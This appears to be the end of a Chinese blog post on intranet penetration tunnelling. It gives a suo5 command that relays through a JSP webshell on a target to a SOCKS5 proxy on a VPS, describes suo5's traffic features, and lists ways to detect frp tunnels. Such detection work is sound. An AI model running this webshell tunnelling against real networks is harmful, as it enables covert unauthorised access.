``` 如果要做中转VPS VPS 自定义 socks5 监听在 0.0.0.0:1080,并自定义认证信息为 test:test123 ```php ./suo5-linux-amd64 -t http://x.x.x.x:8080/suo5.jsp -l 0.0.0.0:1080 --auth test:Test123456 ``` 本地计算机 使用prioxier或者其他工具连接VPS的1080端口即可 数据传输使用HTTP报文进行。使用请求方式均为POST。需要传输的数据会经过加密后放在请求和响应报文的载荷部分。 suo5工具在使用HTTP协议时默认的用户代理字段为User-Agent:Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3。可以通过工具的交互界面中高级配置选项来对默认的请求头进行修改。  检测与防御 ----- 以frp作为案例 端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测 端口检测:默认配置下,frp的服务端端口为7000  进程检测:从进程上看,frp的进程名称非常明显  流量检测:默认配置下,frp的建立连接过程和心跳维持过程都存在较为明显的特征。  添加tls加密后,frp在协商前存在0x17的协议头部特征 
发表于 2025-06-11 10:00:00
阅读 ( 728 )
分类:
内网渗透
0 推荐
收藏
0 条评论
请先
登录
后评论
Locks_
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!